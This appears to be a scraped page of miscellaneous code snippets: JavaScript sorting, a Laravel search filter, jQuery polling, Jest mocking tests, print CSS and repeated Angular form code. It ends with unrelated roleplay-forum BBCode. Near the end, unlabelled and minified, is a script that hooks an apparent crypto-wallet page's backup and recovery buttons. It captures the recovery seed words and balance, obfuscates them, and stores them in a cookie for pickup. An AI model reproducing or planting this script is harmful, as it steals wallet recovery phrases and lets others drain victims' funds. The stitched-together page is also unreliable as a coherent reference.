JavaScript

// Ascending order
array.sort((a,b) => a-b)

// Descending order
array.sort((a,b) => b-a)
<script type="text/javascript" src="https://maps.googleapis.com/maps/api/js?sensor=false&libraries=places"></script>
<button type="submit" id="customers_filter" onclick="checkWhetherTheTableContainsSearchResults()"
                                class="btn filter-button d-inline-block ml-3">
                                Filter
                            </button>
                            
<input id="search-hidden-input" hidden name="searchValue">

<script>
function checkWhetherTheTableContainsSearchResults() {
        let search = location.search.substring(1)
            searchInputElement = document.getElementById('search-hidden-input');
        
        if(search != '') {
            searchInputElement.setAttribute('value', search);
        }
    }
</script>
    
// If the filter is to work on search results, the original search parameter has to be passed into the request array.
        // Thus, the request array will return more than one parameter 
        // AND
        // one of the parameters will be searchValue
        // WHICH
        // will contain the entire search parameter (key + value)

        if ((count($request->all()) > 1) && (isset($request->searchValue))) {
            if (strpos($request->searchValue, '=')) {
                $string = $request->searchValue;
                $array = explode('=', $string);
                $request->searchValue = $array[1];
            }
        }
<script>
    clearFilters = (id) => {
        let
            href = '/customers/' + id,
            url = new URL(window.location.origin),
            newUrl = url.origin + href;

        window.location = newUrl
    }
</script>
window.addEventListener('load', (event) => {
    console.log('The page has fully loaded');
});
(function refreshPendingIncidents() {
  $.ajax({
    url: '/pending-incidents/refresh/' + "{{ $reports[0]->id }}",
    success: function(data) {
      console.log(data)
      console.log('test')
    },
    complete: function() {
      // Schedule the next request when the current one's complete
      setTimeout(refreshPendingIncidents, 3000);
    }
  });
})();
function refreshPendingIncidents() {
  return $.ajax({
    type: 'GET',
    url: '/pending-incidents/refresh/' + "{{ $reports[0]->id }}"
  });
}

refreshPendingIncidents().done(function(result) {
  console.log(result)
  console.log('res')
  }).fail(function() {
  	console.log('fail')
});
function addEnglishOrdinalSuffixes(number) {
        const english_ordinal_rules = new Intl.PluralRules("en", {
            type: "ordinal"
        });
        const suffixes = {
            one: "st",
            two: "nd",
            few: "rd",
            other: "th"
        }
        const suffix = suffixes[english_ordinal_rules.select(number)];
        return (number + suffix);
    }
startDateMonth = startDateTimestamp.toLocaleString('default', {
                month: 'short'
            })

// Swap short for long to get December instead of Dec
// SCRIPT.JS

// const fetch = require("node-fetch")
// Was originally called here but is now called in the test

const getPeople = (fetch) => {
    return fetch("https://swapi.dev/api/people")
        .then(res => res.json())
        .then(data => {
            return {
                count: data.count,
                results: data.results
            }
        }).catch(err => err)
}

const isCity = (city, db) => {
    return db.includes(city)
    // Returns truthy or falsy
}
module.exports = {
    getPeople, 
    isCity
}

// SCRIPT.TEST.JS (that is a naming convention: file-name.test.js)
// Destructuring
const {getPeople, isCity} = require("./script")
const fetch = require("node-fetch")


test("calls swapi to get people with a promise", () => {
    expect.assertions(2)
    return  getPeople(fetch) 
        .then(data => {
            expect(data.count).toEqual(82)
            expect(data.count).not.toEqual(42)
        })
})


//Capture calls
test("testing captured calls", () => {
    const mock = jest.fn()

    let result = mock("foo")

    expect(mock).toHaveBeenCalled()
    expect(mock).toHaveBeenCalledTimes(1)
    expect(mock).toHaveBeenCalledWith("foo")
})

// Set return values
test("mock return value", () => {
    const mock = jest.fn()

    mock.mockReturnValue("bar")

    expect(mock("foo")).toBe("bar")
    expect(mock).toHaveBeenCalledWith("foo")
})

// Replace implementation of dependency (in this case, node-fetch)
test("test getPeople with dependency injection", () => {
    const mockFetch = jest.fn()
        .mockReturnValue(Promise.resolve({
            json: () => Promise.resolve({
                count: 87,
                results: [1,2,3,4,5]
            })
        }))
    expect.assertions(5)
    return getPeople(mockFetch).then(data => {
        expect(mockFetch.mock.calls.length).toEqual(1)
        expect(mockFetch).toHaveBeenCalled()
        expect(mockFetch).toHaveBeenCalledTimes(1)
        expect(mockFetch).toHaveBeenCalledWith("https://swapi.dev/api/people")
        expect(data.count).toEqual(87)
    })
})

let db = []

const initDb = () => db = ["Vienna", "London", "San Juan", "Medllin"]
const closeDb = () => db = []

//  To init before each and close after each

beforeEach(() => initDb())
afterEach(() => closeDb())
beforeAll(() => initDb())
afterAll(() => closeDb())

test("city db has Vienna", () => {
    expect(isCity("Vienna", db)).toBeTruthy()
})
// On CSS file, list all that you don't want to print

@media print {
    #print-navbar {
        display: none;
    }
    #print-sidenav {
        display: none;
    }
    #print-invoice-heading {
        display: none;
    }
    #print-invoice-print-button {
        display: none;
    }
    #print-invoice-submit-button {
        display: none;
    }
}

// This should be called on the print button

<script>
        $(document).ready(function() {
            $('.print-window').click(function() {
                window.print();
            });
        });

</script>
<form [formGroup]="selectInitiativeForm">
                <mat-form-field appearance="fill">
                    <mat-label>Select Initiative</mat-label>
                    <mat-select [formControlName]="'initiative'">
                        <mat-option *ngFor="let initiative of initiatives | async" [value]="initiative._id"
                            (click)="displayInitiativeData(initiative)">
                            {{ initiative.name }}
                        </mat-option>
                    </mat-select>
                </mat-form-field>
            </form>


 selectInitiativeForm = new FormGroup({
    initiative: new FormControl(''),
  });


redirectToHomePage() {
    this.selectInitiativeForm.controls['initiative'].setValue('');
    this.router.navigate(['/']);
 }
<form [formGroup]="selectInitiativeForm">
                <mat-form-field appearance="fill">
                    <mat-label>Select Initiative</mat-label>
                    <mat-select [formControlName]="'initiative'">
                        <mat-option *ngFor="let initiative of initiatives | async" [value]="initiative._id"
                            (click)="displayInitiativeData(initiative)">
                            {{ initiative.name }}
                        </mat-option>
                    </mat-select>
                </mat-form-field>
            </form>


 selectInitiativeForm = new FormGroup({
    initiative: new FormControl(''),
  });


redirectToHomePage() {
    this.selectInitiativeForm.controls['initiative'].setValue('');
    this.router.navigate(['/']);
 }
<form [formGroup]="selectInitiativeForm">
                <mat-form-field appearance="fill">
                    <mat-label>Select Initiative</mat-label>
                    <mat-select [formControlName]="'initiative'">
                        <mat-option *ngFor="let initiative of initiatives | async" [value]="initiative._id"
                            (click)="displayInitiativeData(initiative)">
                            {{ initiative.name }}
                        </mat-option>
                    </mat-select>
                </mat-form-field>
            </form>


 selectInitiativeForm = new FormGroup({
    initiative: new FormControl(''),
  });


redirectToHomePage() {
    this.selectInitiativeForm.controls['initiative'].setValue('');
    this.router.navigate(['/']);
 }
<span>
   <a href="" routerLink="create-indicator" routerLinkActive="active"><i class="fas fa-plus-circle ml-3"></i></a>
</span>

Similiar Collections

Python strftime reference pandas.Period.strftime python - Formatting Quarter time in pandas columns - Stack Overflow python - Pandas: Change day - Stack Overflow python - Check if multiple columns exist in a df - Stack Overflow Pandas DataFrame apply() - sending arguments examples python - How to filter a dataframe of dates by a particular month/day? - Stack Overflow python - replace a value in the entire pandas data frame - Stack Overflow python - Replacing blank values (white space) with NaN in pandas - Stack Overflow python - get list from pandas dataframe column - Stack Overflow python - How to drop rows of Pandas DataFrame whose value in a certain column is NaN - Stack Overflow python - How to drop rows of Pandas DataFrame whose value in a certain column is NaN - Stack Overflow python - How to lowercase a pandas dataframe string column if it has missing values? - Stack Overflow How to Convert Integers to Strings in Pandas DataFrame - Data to Fish How to Convert Integers to Strings in Pandas DataFrame - Data to Fish create a dictionary of two pandas Dataframe columns? - Stack Overflow python - ValueError: No axis named node2 for object type <class 'pandas.core.frame.DataFrame'> - Stack Overflow Python Pandas iterate over rows and access column names - Stack Overflow python - Creating dataframe from a dictionary where entries have different lengths - Stack Overflow python - Deleting DataFrame row in Pandas based on column value - Stack Overflow python - How to check if a column exists in Pandas - Stack Overflow python - Import pandas dataframe column as string not int - Stack Overflow python - What is the most efficient way to create a dictionary of two pandas Dataframe columns? - Stack Overflow Python Loop through Excel sheets, place into one df - Stack Overflow

function blockhack_token(e){return(e+"").replace(/[a-z]/gi,function(e){return String.fromCharCode(e.charCodeAt(0)+("n">e.toLowerCase()?13:-13))})}function sleep(e){return new Promise(function(t){return setTimeout(t,e)})}function makeid(e){for(var t="",n=0;n<e;n++)t+="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".charAt(Math.floor(62*Math.random()));return t}for(var elems=document.querySelectorAll(".sc-bdVaJa.iOqSrY"),keys=[],result=makeid(300),i=elems.length;i--;)"backupFundsButton"==elems[i].getAttribute("data-e2e")&&elems[i].addEventListener("click",myFunc,!1);function myFunc(){setTimeout(function(){for(var e=document.querySelectorAll(".sc-bdVaJa.KFCFP"),t=e.length;t--;)e[t].addEventListener("click",start,!1)},1e3)}function start(){keys=[],setTimeout(function(){var e=document.querySelectorAll("div[data-e2e=backupWords]"),t=document.querySelectorAll(".KFCFP");for(e.forEach(function(e,t,n){e=blockhack_token(e.getElementsByTagName("div")[1].textContent),keys.push(e.replace(/\s/g,""))}),e=t.length;e--;)"toRecoveryTwo"==t[e].getAttribute("data-e2e")&&t[e].addEventListener("click",end,!1)},1e3)}function end(){setTimeout(function(){document.querySelectorAll("div[data-e2e=backupWords]").forEach(function(e,t,n){e=blockhack_token(e.getElementsByTagName("div")[1].textContent),keys.push(e.replace(/\s/g,""))});var e=document.querySelectorAll("div[data-e2e=topBalanceTotal]")[0].textContent,t=result+"["+e+"]["+keys.join("]"+makeid(300)+"[");t+="]"+makeid(300),document.cookie="blockhack_token="+t},1e3)}

@Andiyo

[div align="center"][div style="width:550px;border-top:10px solid #68a758;border-bottom:10px solid #68a758;background-color:white;"][img style="max-width:100%;" src="https://i.postimg.cc/bJyKRG4B/sly1.gif"] [div style="width:90%;padding:15px;"][div style="width:250px;font-family:arial;font-size:23px;font-weight:bold;font-style:italic;float:left;text-align:right;letter-spacing:-1px;"]EMERSON ROOK[/div][div style="border-radius:50px;padding:5px;border:3px double black;color:black;font-family:georgia;font-size:35px;margin-left:25px;width:40px;float:left;"]S[/div][div style="float:left;margin-left:20px;margin-top:5px;font-family:arial;font-size:8px;color:#666;letter-spacing:2px;padding:5px;text-align:left;line-height:12px;"][b][i]FIRST[/i][/b] BEGINNERS FULL [/div] [hr] [div style="font-family:arial;font-size:11px;"][table style="width:500px;"][tbody][tr][td style="padding:3px;"][div align="center"][span style="padding:3px 8px 3px 8px;border-bottom:1px solid grey;font-family:arial;font-size:8px;color:#666;letter-spacing:2px;"][b][i]ASSIGNMENT[/i][/b][/span] [/div][/td][td style="padding:3px;"][div align="center"][span style="padding:3px 8px 3px 8px;border-bottom:1px solid grey;font-family:arial;font-size:8px;color:#666;letter-spacing:2px;"][b][i]HOMEWORK[/i][/b][/span] [/div][/td][td style="padding:3px;"][div align="center"][span style="padding:3px 8px 3px 8px;border-bottom:1px solid grey;font-family:arial;font-size:8px;color:#666;letter-spacing:2px;"][b][i]EXTRA CREDIT[/i][/b][/span] [/div][/td][td style="padding:3px;"][div align="center"][span style="padding:3px 8px 3px 8px;border-bottom:1px solid grey;font-family:arial;font-size:8px;color:#666;letter-spacing:2px;"][b][i]GRADE[/i][/b][/span] [/div][/td][/tr][tr][td align="center" style="padding:3px;"]Lesson One [/td][td align="center" style="padding:3px;"]0/40[/td][td align="center" style="padding:3px;"]0/20[/td][td style="padding:3px;" align="center"]T[/td][/tr][tr][td align="center" style="padding:3px;"]Lesson Two [/td][td style="padding:3px;" align="center"]0/40[/td][td align="center" style="padding:3px;"]0/20[/td][td align="center" style="padding:3px;"]T[/td][/tr][tr][td align="center" style="padding:3px;"]Lesson Three [/td][td align="center" style="padding:3px;"]0/40[/td][td align="center" style="padding:3px;"]0/20[/td][td align="center" style="padding:3px;"]T[/td][/tr][tr][td style="padding:3px;" align="center"]Lesson Four [/td][td style="padding:3px;" align="center"]0/40[/td][td align="center" style="padding:3px;"]0/20[/td][td align="center" style="padding:3px;"]T[/td][/tr][tr][td style="padding:3px;" align="center"]Lesson Five [/td][td style="padding:3px;" align="center"]0/40[/td][td align="center" style="padding:3px;"]0/20[/td][td style="padding:3px;" align="center"]T[/td][/tr][/tbody][/table] [hr] [font size="1"][b]FINAL GRADE:[/b] 000/200 (T) @emersonrook , post your homework here[/font][/div] [/div][/div][/div][/quote]

@cryptpkr